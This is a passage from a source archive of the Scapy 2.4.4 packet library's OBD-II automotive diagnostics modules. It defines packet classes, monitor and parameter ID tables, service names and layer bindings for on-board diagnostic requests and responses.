0x18), 'MID%02X' % (basemid + 0x17), 'MID%02X' % (basemid + 0x16), 'MID%02X' % (basemid + 0x15), 'MID%02X' % (basemid + 0x14), 'MID%02X' % (basemid + 0x13), 'MID%02X' % (basemid + 0x12), 'MID%02X' % (basemid + 0x11), 'MID%02X' % (basemid + 0x10), 'MID%02X' % (basemid + 0x0F), 'MID%02X' % (basemid + 0x0E), 'MID%02X' % (basemid + 0x0D), 'MID%02X' % (basemid + 0x0C), 'MID%02X' % (basemid + 0x0B), 'MID%02X' % (basemid + 0x0A), 'MID%02X' % (basemid + 0x09), 'MID%02X' % (basemid + 0x08), 'MID%02X' % (basemid + 0x07), 'MID%02X' % (basemid + 0x06), 'MID%02X' % (basemid + 0x05), 'MID%02X' % (basemid + 0x04), 'MID%02X' % (basemid + 0x03), 'MID%02X' % (basemid + 0x02), 'MID%02X' % (basemid + 0x01) ] class OBD_MIDXX(OBD_Packet): standardized_test_ids = { 1: "TID_01_RichToLeanSensorThresholdVoltage", 2: "TID_02_LeanToRichSensorThresholdVoltage", 3: "TID_03_LowSensorVoltageForSwitchTimeCalculation", 4: "TID_04_HighSensorVoltageForSwitchTimeCalculation", 5: "TID_05_RichToLeanSensorSwitchTime", 6: "TID_06_LeanToRichSensorSwitchTime", 7: "TID_07_MinimumSensorVoltageForTestCycle", 8: "TID_08_MaximumSensorVoltageForTestCycle", 9: "TID_09_TimeBetweenSensorTransitions", 10: "TID_0A_SensorPeriod"} unit_and_scaling_ids = { 0x01: "Raw Value", 0x02: "Raw Value", 0x03: "Raw Value", 0x04: "Raw Value", 0x05: "Raw Value", 0x06: "Raw Value", 0x07: "rotational frequency", 0x08: "Speed", 0x09: "Speed", 0x0A: "Voltage", 0x0B: "Voltage", 0x0C: "Voltage", 0x0D: "Current", 0x0E: "Current", 0x0F: "Current", 0x10: "Time", 0x11: "Time", 0x12: "Time", 0x13: "Resistance", 0x14: "Resistance", 0x15: "Resistance", 0x16: "Temperature", 0x17: "Pressure (Gauge)", 0x18: "Pressure (Air pressure)", 0x19: "Pressure (Fuel pressure)", 0x1A: "Pressure (Gauge)", 0x1B: "Pressure (Diesel pressure)", 0x1C: "Angle", 0x1D: "Angle", 0x1E: "Equivalence ratio (lambda)", 0x1F: "Air/Fuel ratio", 0x20: "Ratio", 0x21: "Frequency", 0x22: "Frequency", 0x23: "Frequency", 0x24: "Counts", 0x25: "Distance", 0x26: "Voltage per time", 0x27: "Mass per time", 0x28: "Mass per time", 0x29: "Pressure per time", 0x2A: "Mass per time", 0x2B: "Switches", 0x2C: "Mass per cylinder", 0x2D: "Mass per stroke", 0x2E: "True/False", 0x2F: "Percent", 0x30: "Percent", 0x31: "volume", 0x32: "length", 0x33: "Equivalence ratio (lambda)", 0x34: "Time", 0x35: "Time", 0x36: "Weight", 0x37: "Weight", 0x38: "Weight", 0x39: "Percent", 0x81: "Raw Value", 0x82: "Raw Value", 0x83: "Raw Value", 0x84: "Raw Value", 0x85: "Raw Value", 0x86: "Raw Value", 0x8A: "Voltage", 0x8B: "Voltage", 0x8C: "Voltage", 0x8D: "Current", 0x8E: "Current", 0x90: "Time", 0x96: "Temperature", 0x9C: "Angle", 0x9D: "Angle", 0xA8: "Mass per time", 0xA9: "Pressure per time", 0xAF: "Percent", 0xB0: "Percent", 0xB1: "Voltage per time", 0xFD: "Pressure", 0xFE: "Pressure" } name = "OBD MID data record" fields_desc = [ ByteEnumField("standardized_test_id", 1, standardized_test_ids), ByteEnumField("unit_and_scaling_id", 1, unit_and_scaling_ids), MultipleTypeField(_unit_and_scaling_fields("test_value"), ShortField("test_value", 0)), MultipleTypeField(_unit_and_scaling_fields("min_limit"), ShortField("min_limit", 0)), MultipleTypeField(_unit_and_scaling_fields("max_limit"), ShortField("max_limit", 0)), ] class OBD_MID00(OBD_Packet): fields_desc = [ FlagsField('supported_mids', 0, 32, _mid_flags(0x00)), ] class OBD_MID20(OBD_Packet): fields_desc = [ FlagsField('supported_mids', 0, 32, _mid_flags(0x20)), ] class OBD_MID40(OBD_Packet): fields_desc = [ FlagsField('supported_mids', 0, 32, _mid_flags(0x40)), ] class OBD_MID60(OBD_Packet): fields_desc = [ FlagsField('supported_mids', 0, 32, _mid_flags(0x60)), ] class OBD_MID80(OBD_Packet): fields_desc = [ FlagsField('supported_mids', 0, 32, _mid_flags(0x80)), ] class OBD_MIDA0(OBD_Packet): fields_desc = [ FlagsField('supported_mids', 0, 32, _mid_flags(0xA0)), ] class OBD_S06_PR_Record(Packet): on_board_monitoring_ids = { 0x00: "OBD Monitor IDs supported ($01 - $20)", 0x01: "Oxygen Sensor Monitor Bank 1 - Sensor 1", 0x02: "Oxygen Sensor Monitor Bank 1 - Sensor 2", 0x03: "Oxygen Sensor Monitor Bank 1 - Sensor 3", 0x04: "Oxygen Sensor Monitor Bank 1 - Sensor 4", 0x05: "Oxygen Sensor Monitor Bank 2 - Sensor 1", 0x06: "Oxygen Sensor Monitor Bank 2 - Sensor 2", 0x07: "Oxygen Sensor Monitor Bank 2 - Sensor 3", 0x08: "Oxygen Sensor Monitor Bank 2 - Sensor 4", 0x09: "Oxygen Sensor Monitor Bank 3 - Sensor 1", 0x0A: "Oxygen Sensor Monitor Bank 3 - Sensor 2", 0x0B: "Oxygen Sensor Monitor Bank 3 - Sensor 3", 0x0C: "Oxygen Sensor Monitor Bank 3 - Sensor 4", 0x0D: "Oxygen Sensor Monitor Bank 4 - Sensor 1", 0x0E: "Oxygen Sensor Monitor Bank 4 - Sensor 2", 0x0F: "Oxygen Sensor Monitor Bank 4 - Sensor 3", 0x10: "Oxygen Sensor Monitor Bank 4 - Sensor 4", 0x20: "OBD Monitor IDs supported ($21 - $40)", 0x21: "Catalyst Monitor Bank 1", 0x22: "Catalyst Monitor Bank 2", 0x23: "Catalyst Monitor Bank 3", 0x24: "Catalyst Monitor Bank 4", 0x32: "EGR Monitor Bank 2", 0x33: "EGR Monitor Bank 3", 0x34: "EGR Monitor Bank 4", 0x35: "VVT Monitor Bank 1", 0x36: "VVT Monitor Bank 2", 0x37: "VVT Monitor Bank 3", 0x38: "VVT Monitor Bank 4", 0x39: "EVAP Monitor (Cap Off / 0.150\")", 0x3A: "EVAP Monitor (0.090\")", 0x3B: "EVAP Monitor (0.040\")", 0x3C: "EVAP Monitor (0.020\")", 0x3D: "Purge Flow Monitor", 0x40: "OBD Monitor IDs supported ($41 - $60)", 0x41: "Oxygen Sensor Heater Monitor Bank 1 - Sensor 1", 0x42: "Oxygen Sensor Heater Monitor Bank 1 - Sensor 2", 0x43: "Oxygen Sensor Heater Monitor Bank 1 - Sensor 3", 0x44: "Oxygen Sensor Heater Monitor Bank 1 - Sensor 4", 0x45: "Oxygen Sensor Heater Monitor Bank 2 - Sensor 1", 0x46: "Oxygen Sensor Heater Monitor Bank 2 - Sensor 2", 0x47: "Oxygen Sensor Heater Monitor Bank 2 - Sensor 3", 0x48: "Oxygen Sensor Heater Monitor Bank 2 - Sensor 4", 0x49: "Oxygen Sensor Heater Monitor Bank 3 - Sensor 1", 0x4A: "Oxygen Sensor Heater Monitor Bank 3 - Sensor 2", 0x4B: "Oxygen Sensor Heater Monitor Bank 3 - Sensor 3", 0x4C: "Oxygen Sensor Heater Monitor Bank 3 - Sensor 4", 0x4D: "Oxygen Sensor Heater Monitor Bank 4 - Sensor 1", 0x4E: "Oxygen Sensor Heater Monitor Bank 4 - Sensor 2", 0x4F: "Oxygen Sensor Heater Monitor Bank 4 - Sensor 3", 0x50: "Oxygen Sensor Heater Monitor Bank 4 - Sensor 4", 0x60: "OBD Monitor IDs supported ($61 - $80)", 0x61: "Heated Catalyst Monitor Bank 1", 0x62: "Heated Catalyst Monitor Bank 2", 0x63: "Heated Catalyst Monitor Bank 3", 0x64: "Heated Catalyst Monitor Bank 4", 0x71: "Secondary Air Monitor 1", 0x72: "Secondary Air Monitor 2", 0x73: "Secondary Air Monitor 3", 0x74: "Secondary Air Monitor 4", 0x80: "OBD Monitor IDs supported ($81 - $A0)", 0x81: "Fuel System Monitor Bank 1", 0x82: "Fuel System Monitor Bank 2", 0x83: "Fuel System Monitor Bank 3", 0x84: "Fuel System Monitor Bank 4", 0x85: "Boost Pressure Control Monitor Bank 1", 0x86: "Boost Pressure Control Monitor Bank 2", 0x90: "NOx Adsorber Monitor Bank 1", 0x91: "NOx Adsorber Monitor Bank 2", 0x98: "NOx Catalyst Monitor Bank 1", 0x99: "NOx Catalyst Monitor Bank 2", 0xA0: "OBD Monitor IDs supported ($A1 - $C0)", 0xA1: "Misfire Monitor General Data", 0xA2: "Misfire Cylinder 1 Data", 0xA3: "Misfire Cylinder 2 Data", 0xA4: "Misfire Cylinder 3 Data", 0xA5: "Misfire Cylinder 4 Data", 0xA6: "Misfire Cylinder 5 Data", 0xA7: "Misfire Cylinder 6 Data", 0xA8: "Misfire Cylinder 7 Data", 0xA9: "Misfire Cylinder 8 Data", 0xAA: "Misfire Cylinder 9 Data", 0xAB: "Misfire Cylinder 10 Data", 0xAC: "Misfire Cylinder 11 Data", 0xAD: "Misfire Cylinder 12 Data", 0xB0: "PM Filter Monitor Bank 1", 0xB1: "PM Filter Monitor Bank 2" } name = "On-Board diagnostic monitoring ID" fields_desc = [ ByteEnumField("mid", 0, on_board_monitoring_ids), ] class OBD_S06_PR(Packet): name = "On-Board monitoring IDs" fields_desc = [ PacketListField("data_records", [], OBD_S06_PR_Record) ] def answers(self, other): return other.__class__ == OBD_S06 \ and all(r.mid in other.mid for r in self.data_records) bind_layers(OBD_S06_PR_Record, OBD_MID00, mid=0x00) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x01) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x02) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x03) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x04) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x05) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x06) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x07) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x08) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x09) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0A) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0B) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0C) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0D) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0E) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x0F) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x10) bind_layers(OBD_S06_PR_Record, OBD_MID20, mid=0x20) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x21) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x22) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x23) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x24) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x32) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x33) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x34) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x35) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x36) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x37) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x38) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x39) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3A) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3B) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3C) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x3D) bind_layers(OBD_S06_PR_Record, OBD_MID40, mid=0x40) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x41) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x42) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x43) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x44) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x45) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x46) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x47) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x48) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x49) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4A) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4B) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4C) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4D) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4E) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x4F) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x50) bind_layers(OBD_S06_PR_Record, OBD_MID60, mid=0x60) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x61) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x62) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x63) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x64) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x71) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x72) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x73) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x74) bind_layers(OBD_S06_PR_Record, OBD_MID80, mid=0x80) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x81) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x82) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x83) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x84) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x85) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x86) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x90) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x91) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x98) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0x99) bind_layers(OBD_S06_PR_Record, OBD_MIDA0, mid=0xA0) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA1) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA2) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA3) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA4) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA5) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA6) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA7) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA8) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xA9) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAA) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAB) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAC) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xAD) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xB0) bind_layers(OBD_S06_PR_Record, OBD_MIDXX, mid=0xB1) scapy-2.4.4/scapy/contrib/automotive/obd/obd.py000066400000000000000000000077201372370053500215100ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.description = On Board Diagnostic Protocol (OBD-II) # scapy.contrib.status = loads import struct from scapy.contrib.automotive.obd.iid.iids import * from scapy.contrib.automotive.obd.mid.mids import * from scapy.contrib.automotive.obd.pid.pids import * from scapy.contrib.automotive.obd.tid.tids import * from scapy.contrib.automotive.obd.services import * from scapy.packet import bind_layers, NoPayload from scapy.error import log_loading from scapy.config import conf from scapy.fields import XByteEnumField from scapy.contrib.isotp import ISOTP try: if conf.contribs['OBD']['treat-response-pending-as-answer']: pass except KeyError: log_loading.info("Specify \"conf.contribs['OBD'] = " "{'treat-response-pending-as-answer': True}\" to treat " "a negative response 'requestCorrectlyReceived-" "ResponsePending' as answer of a request. \n" "The default value is False.") conf.contribs['OBD'] = {'treat-response-pending-as-answer': False} class OBD(ISOTP): services = { 0x01: 'CurrentPowertrainDiagnosticDataRequest', 0x02: 'PowertrainFreezeFrameDataRequest', 0x03: 'EmissionRelatedDiagnosticTroubleCodesRequest', 0x04: 'ClearResetDiagnosticTroubleCodesRequest', 0x05: 'OxygenSensorMonitoringTestResultsRequest', 0x06: 'OnBoardMonitoringTestResultsRequest', 0x07: 'PendingEmissionRelatedDiagnosticTroubleCodesRequest', 0x08: 'ControlOperationRequest', 0x09: 'VehicleInformationRequest', 0x0A: 'PermanentDiagnosticTroubleCodesRequest', 0x41: 'CurrentPowertrainDiagnosticDataResponse', 0x42: 'PowertrainFreezeFrameDataResponse', 0x43: 'EmissionRelatedDiagnosticTroubleCodesResponse', 0x44: 'ClearResetDiagnosticTroubleCodesResponse', 0x45: 'OxygenSensorMonitoringTestResultsResponse', 0x46: 'OnBoardMonitoringTestResultsResponse', 0x47: 'PendingEmissionRelatedDiagnosticTroubleCodesResponse', 0x48: 'ControlOperationResponse', 0x49: 'VehicleInformationResponse', 0x4A: 'PermanentDiagnosticTroubleCodesResponse', 0x7f: 'NegativeResponse'} name = "On-board diagnostics" fields_desc = [ XByteEnumField('service', 0, services) ] def hashret(self): if self.service == 0x7f: return struct.pack('B', self.request_service_id & ~0x40) return struct.pack('B', self.service & ~0x40) def answers(self, other): if other.__class__ != self.__class__: return False if self.service == 0x7f: return self.payload.answers(other) if self.service == (other.service + 0x40): if isinstance(self.payload, NoPayload) or \ isinstance(other.payload, NoPayload): return True else: return self.payload.answers(other.payload) return False # Service Bindings bind_layers(OBD, OBD_S01, service=0x01) bind_layers(OBD, OBD_S02, service=0x02) bind_layers(OBD, OBD_S03, service=0x03) bind_layers(OBD, OBD_S04, service=0x04) bind_layers(OBD, OBD_S06, service=0x06) bind_layers(OBD, OBD_S07, service=0x07) bind_layers(OBD, OBD_S08, service=0x08) bind_layers(OBD, OBD_S09, service=0x09) bind_layers(OBD, OBD_S0A, service=0x0A) bind_layers(OBD, OBD_S01_PR, service=0x41) bind_layers(OBD, OBD_S02_PR, service=0x42) bind_layers(OBD, OBD_S03_PR, service=0x43) bind_layers(OBD, OBD_S04_PR, service=0x44) bind_layers(OBD, OBD_S06_PR, service=0x46) bind_layers(OBD, OBD_S07_PR, service=0x47) bind_layers(OBD, OBD_S08_PR, service=0x48) bind_layers(OBD, OBD_S09_PR, service=0x49) bind_layers(OBD, OBD_S0A_PR, service=0x4A) bind_layers(OBD, OBD_NR, service=0x7F) scapy-2.4.4/scapy/contrib/automotive/obd/packet.py000066400000000000000000000006051372370053500222060ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip from scapy.packet import Packet class OBD_Packet(Packet): def extract_padding(self, s): return '', s scapy-2.4.4/scapy/contrib/automotive/obd/pid/000077500000000000000000000000001372370053500211405ustar00rootroot00000000000000scapy-2.4.4/scapy/contrib/automotive/obd/pid/__init__.py000066400000000000000000000005601372370053500232520ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip """ Package of contrib automotive obd specific modules that have to be loaded explicitly. """ scapy-2.4.4/scapy/contrib/automotive/obd/pid/pids.py000066400000000000000000000445401372370053500224600ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip from scapy.packet import Packet, bind_layers from scapy.fields import PacketListField from scapy.contrib.automotive.obd.services import OBD_S01, OBD_S02 from scapy.contrib.automotive.obd.pid.pids_00_1F import * from scapy.contrib.automotive.obd.pid.pids_20_3F import * from scapy.contrib.automotive.obd.pid.pids_40_5F import * from scapy.contrib.automotive.obd.pid.pids_60_7F import * from scapy.contrib.automotive.obd.pid.pids_80_9F import * from scapy.contrib.automotive.obd.pid.pids_A0_C0 import * class OBD_S01_PR_Record(Packet): fields_desc = [ XByteField("pid", 0), ] class OBD_S01_PR(Packet): name = "Parameter IDs" fields_desc = [ PacketListField("data_records", [], OBD_S01_PR_Record) ] def answers(self, other): return other.__class__ == OBD_S01 \ and all(r.pid in other.pid for r in self.data_records) class OBD_S02_PR_Record(Packet): fields_desc = [ XByteField("pid", 0), XByteField("frame_no", 0), ] class OBD_S02_PR(Packet): name = "Parameter IDs" fields_desc = [ PacketListField("data_records", [], OBD_S02_PR_Record) ] def answers(self, other): return other.__class__ == OBD_S02 \ and all(r.pid in [o.pid for o in other.requests] for r in self.data_records) bind_layers(OBD_S01_PR_Record, OBD_PID00, pid=0x00) bind_layers(OBD_S01_PR_Record, OBD_PID01, pid=0x01) bind_layers(OBD_S01_PR_Record, OBD_PID02, pid=0x02) bind_layers(OBD_S01_PR_Record, OBD_PID03, pid=0x03) bind_layers(OBD_S01_PR_Record, OBD_PID04, pid=0x04) bind_layers(OBD_S01_PR_Record, OBD_PID05, pid=0x05) bind_layers(OBD_S01_PR_Record, OBD_PID06, pid=0x06) bind_layers(OBD_S01_PR_Record, OBD_PID07, pid=0x07) bind_layers(OBD_S01_PR_Record, OBD_PID08, pid=0x08) bind_layers(OBD_S01_PR_Record, OBD_PID09, pid=0x09) bind_layers(OBD_S01_PR_Record, OBD_PID0A, pid=0x0A) bind_layers(OBD_S01_PR_Record, OBD_PID0B, pid=0x0B) bind_layers(OBD_S01_PR_Record, OBD_PID0C, pid=0x0C) bind_layers(OBD_S01_PR_Record, OBD_PID0D, pid=0x0D) bind_layers(OBD_S01_PR_Record, OBD_PID0E, pid=0x0E) bind_layers(OBD_S01_PR_Record, OBD_PID0F, pid=0x0F) bind_layers(OBD_S01_PR_Record, OBD_PID10, pid=0x10) bind_layers(OBD_S01_PR_Record, OBD_PID11, pid=0x11) bind_layers(OBD_S01_PR_Record, OBD_PID12, pid=0x12) bind_layers(OBD_S01_PR_Record, OBD_PID13, pid=0x13) bind_layers(OBD_S01_PR_Record, OBD_PID14, pid=0x14) bind_layers(OBD_S01_PR_Record, OBD_PID15, pid=0x15) bind_layers(OBD_S01_PR_Record, OBD_PID16, pid=0x16) bind_layers(OBD_S01_PR_Record, OBD_PID17, pid=0x17) bind_layers(OBD_S01_PR_Record, OBD_PID18, pid=0x18) bind_layers(OBD_S01_PR_Record, OBD_PID19, pid=0x19) bind_layers(OBD_S01_PR_Record, OBD_PID1A, pid=0x1A) bind_layers(OBD_S01_PR_Record, OBD_PID1B, pid=0x1B) bind_layers(OBD_S01_PR_Record, OBD_PID1C, pid=0x1C) bind_layers(OBD_S01_PR_Record, OBD_PID1D, pid=0x1D) bind_layers(OBD_S01_PR_Record, OBD_PID1E, pid=0x1E) bind_layers(OBD_S01_PR_Record, OBD_PID1F, pid=0x1F) bind_layers(OBD_S01_PR_Record, OBD_PID20, pid=0x20) bind_layers(OBD_S01_PR_Record, OBD_PID21, pid=0x21) bind_layers(OBD_S01_PR_Record, OBD_PID22, pid=0x22) bind_layers(OBD_S01_PR_Record, OBD_PID23, pid=0x23) bind_layers(OBD_S01_PR_Record, OBD_PID24, pid=0x24) bind_layers(OBD_S01_PR_Record, OBD_PID25, pid=0x25) bind_layers(OBD_S01_PR_Record, OBD_PID26, pid=0x26) bind_layers(OBD_S01_PR_Record, OBD_PID27, pid=0x27) bind_layers(OBD_S01_PR_Record, OBD_PID28, pid=0x28) bind_layers(OBD_S01_PR_Record, OBD_PID29, pid=0x29) bind_layers(OBD_S01_PR_Record, OBD_PID2A, pid=0x2A) bind_layers(OBD_S01_PR_Record, OBD_PID2B, pid=0x2B) bind_layers(OBD_S01_PR_Record, OBD_PID2C, pid=0x2C) bind_layers(OBD_S01_PR_Record, OBD_PID2D, pid=0x2D) bind_layers(OBD_S01_PR_Record, OBD_PID2E, pid=0x2E) bind_layers(OBD_S01_PR_Record, OBD_PID2F, pid=0x2F) bind_layers(OBD_S01_PR_Record, OBD_PID30, pid=0x30) bind_layers(OBD_S01_PR_Record, OBD_PID31, pid=0x31) bind_layers(OBD_S01_PR_Record, OBD_PID32, pid=0x32) bind_layers(OBD_S01_PR_Record, OBD_PID33, pid=0x33) bind_layers(OBD_S01_PR_Record, OBD_PID34, pid=0x34) bind_layers(OBD_S01_PR_Record, OBD_PID35, pid=0x35) bind_layers(OBD_S01_PR_Record, OBD_PID36, pid=0x36) bind_layers(OBD_S01_PR_Record, OBD_PID37, pid=0x37) bind_layers(OBD_S01_PR_Record, OBD_PID38, pid=0x38) bind_layers(OBD_S01_PR_Record, OBD_PID39, pid=0x39) bind_layers(OBD_S01_PR_Record, OBD_PID3A, pid=0x3A) bind_layers(OBD_S01_PR_Record, OBD_PID3B, pid=0x3B) bind_layers(OBD_S01_PR_Record, OBD_PID3C, pid=0x3C) bind_layers(OBD_S01_PR_Record, OBD_PID3D, pid=0x3D) bind_layers(OBD_S01_PR_Record, OBD_PID3E, pid=0x3E) bind_layers(OBD_S01_PR_Record, OBD_PID3F, pid=0x3F) bind_layers(OBD_S01_PR_Record, OBD_PID40, pid=0x40) bind_layers(OBD_S01_PR_Record, OBD_PID41, pid=0x41) bind_layers(OBD_S01_PR_Record, OBD_PID42, pid=0x42) bind_layers(OBD_S01_PR_Record, OBD_PID43, pid=0x43) bind_layers(OBD_S01_PR_Record, OBD_PID44, pid=0x44) bind_layers(OBD_S01_PR_Record, OBD_PID45, pid=0x45) bind_layers(OBD_S01_PR_Record, OBD_PID46, pid=0x46) bind_layers(OBD_S01_PR_Record, OBD_PID47, pid=0x47) bind_layers(OBD_S01_PR_Record, OBD_PID48, pid=0x48) bind_layers(OBD_S01_PR_Record, OBD_PID49, pid=0x49) bind_layers(OBD_S01_PR_Record, OBD_PID4A, pid=0x4A) bind_layers(OBD_S01_PR_Record, OBD_PID4B, pid=0x4B) bind_layers(OBD_S01_PR_Record, OBD_PID4C, pid=0x4C) bind_layers(OBD_S01_PR_Record, OBD_PID4D, pid=0x4D) bind_layers(OBD_S01_PR_Record, OBD_PID4E, pid=0x4E) bind_layers(OBD_S01_PR_Record, OBD_PID4F, pid=0x4F) bind_layers(OBD_S01_PR_Record, OBD_PID50, pid=0x50) bind_layers(OBD_S01_PR_Record, OBD_PID51, pid=0x51) bind_layers(OBD_S01_PR_Record, OBD_PID52, pid=0x52) bind_layers(OBD_S01_PR_Record, OBD_PID53, pid=0x53) bind_layers(OBD_S01_PR_Record, OBD_PID54, pid=0x54) bind_layers(OBD_S01_PR_Record, OBD_PID55, pid=0x55) bind_layers(OBD_S01_PR_Record, OBD_PID56, pid=0x56) bind_layers(OBD_S01_PR_Record, OBD_PID57, pid=0x57) bind_layers(OBD_S01_PR_Record, OBD_PID58, pid=0x58) bind_layers(OBD_S01_PR_Record, OBD_PID59, pid=0x59) bind_layers(OBD_S01_PR_Record, OBD_PID5A, pid=0x5A) bind_layers(OBD_S01_PR_Record, OBD_PID5B, pid=0x5B) bind_layers(OBD_S01_PR_Record, OBD_PID5C, pid=0x5C) bind_layers(OBD_S01_PR_Record, OBD_PID5D, pid=0x5D) bind_layers(OBD_S01_PR_Record, OBD_PID5E, pid=0x5E) bind_layers(OBD_S01_PR_Record, OBD_PID5F, pid=0x5F) bind_layers(OBD_S01_PR_Record, OBD_PID60, pid=0x60) bind_layers(OBD_S01_PR_Record, OBD_PID61, pid=0x61) bind_layers(OBD_S01_PR_Record, OBD_PID62, pid=0x62) bind_layers(OBD_S01_PR_Record, OBD_PID63, pid=0x63) bind_layers(OBD_S01_PR_Record, OBD_PID64, pid=0x64) bind_layers(OBD_S01_PR_Record, OBD_PID65, pid=0x65) bind_layers(OBD_S01_PR_Record, OBD_PID66, pid=0x66) bind_layers(OBD_S01_PR_Record, OBD_PID67, pid=0x67) bind_layers(OBD_S01_PR_Record, OBD_PID68, pid=0x68) bind_layers(OBD_S01_PR_Record, OBD_PID69, pid=0x69) bind_layers(OBD_S01_PR_Record, OBD_PID6A, pid=0x6A) bind_layers(OBD_S01_PR_Record, OBD_PID6B, pid=0x6B) bind_layers(OBD_S01_PR_Record, OBD_PID6C, pid=0x6C) bind_layers(OBD_S01_PR_Record, OBD_PID6D, pid=0x6D) bind_layers(OBD_S01_PR_Record, OBD_PID6E, pid=0x6E) bind_layers(OBD_S01_PR_Record, OBD_PID6F, pid=0x6F) bind_layers(OBD_S01_PR_Record, OBD_PID70, pid=0x70) bind_layers(OBD_S01_PR_Record, OBD_PID71, pid=0x71) bind_layers(OBD_S01_PR_Record, OBD_PID72, pid=0x72) bind_layers(OBD_S01_PR_Record, OBD_PID73, pid=0x73) bind_layers(OBD_S01_PR_Record, OBD_PID74, pid=0x74) bind_layers(OBD_S01_PR_Record, OBD_PID75, pid=0x75) bind_layers(OBD_S01_PR_Record, OBD_PID76, pid=0x76) 